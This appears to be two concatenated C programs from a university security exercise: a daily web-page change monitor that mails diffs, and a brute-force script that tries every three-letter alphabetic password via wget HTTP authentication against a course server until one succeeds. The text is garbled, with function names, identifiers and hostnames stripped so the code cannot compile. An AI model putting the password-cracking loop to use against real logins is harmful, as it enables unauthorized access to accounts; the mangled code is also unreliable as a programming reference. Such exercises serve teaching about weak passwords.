#include<stdio.h>
#include<stdlib.h>

int ()
{

FILE *fin1;
FILE *fin2;
int flag=0;


while(1)
{
    
        system("wget -p http://www.cs.rmit.edu./students");

        system("cd www.cs.rmit.edu./");

    
    
   if(flag>0)
   {
    
    fin1=fopen("./watchtext/index.html","r");
    fin2=fopen("./watchtext/test2.txt","r");
    system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");
    system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");
    system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");
    system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");
    system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");
    system("rm ./www.cs.rmit.edu./test2.txt");
           
    fclose(fin2);
    fclose(fin1);   
   }    
  
    if(flag==0)
    {
     system("mkdir watchtext");     
     if((fin1=fopen("./watchtext/index.html","r"))==NULL)
     {
      system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");
      system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");
      
      flag++;
      }
     
   } 
    
  
  
   printf("Running every 24 hours");     
  sleep(86400); 
  
}
 system("rmdir ./watchtext");      
}       
       
       
       
       













#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<sys/types.h>
#include<sys/times.h>
#include<sys/time.h>
#include<unistd.h>

int ()
{
  char url[80];
  char syscom[]= "wget -nv --http-user= --http-passwd=";
  char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/";
  char [] ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

  char username[8];
  char pass[4];
  int i,j,k,hack=1;
  int attempt = 1;
  int , end, time_var;

   = time();
  for ( i = 0 ;i<strlen();i++)
    {
      pass[0]=[i];
      for( j = 0 ;j<strlen();j++)
        {
          pass[1]=[j];
          for ( k = 0 ;k<strlen();k++)
             {
               fflush(stdin);
               pass[2]=[k];
               pass[3]='\0';
               printf("%s\n",pass);

               sprintf(url,"%s%s %s",syscom,pass,http);
               hack = system(url);
               attempt++;
               if (hack == 0)
               {
                  end = time();
                  time_var = (end-);
                  printf("\nbr	The password is :%s",pass);
                  printf("\nNo. of Attempts   crack the password :%d",attempt);
                  printf("\nTime taken  crack the password = %lld sec\n",time_var/1000000000);
                  exit(1);
                }
              }
          }
      }
 }

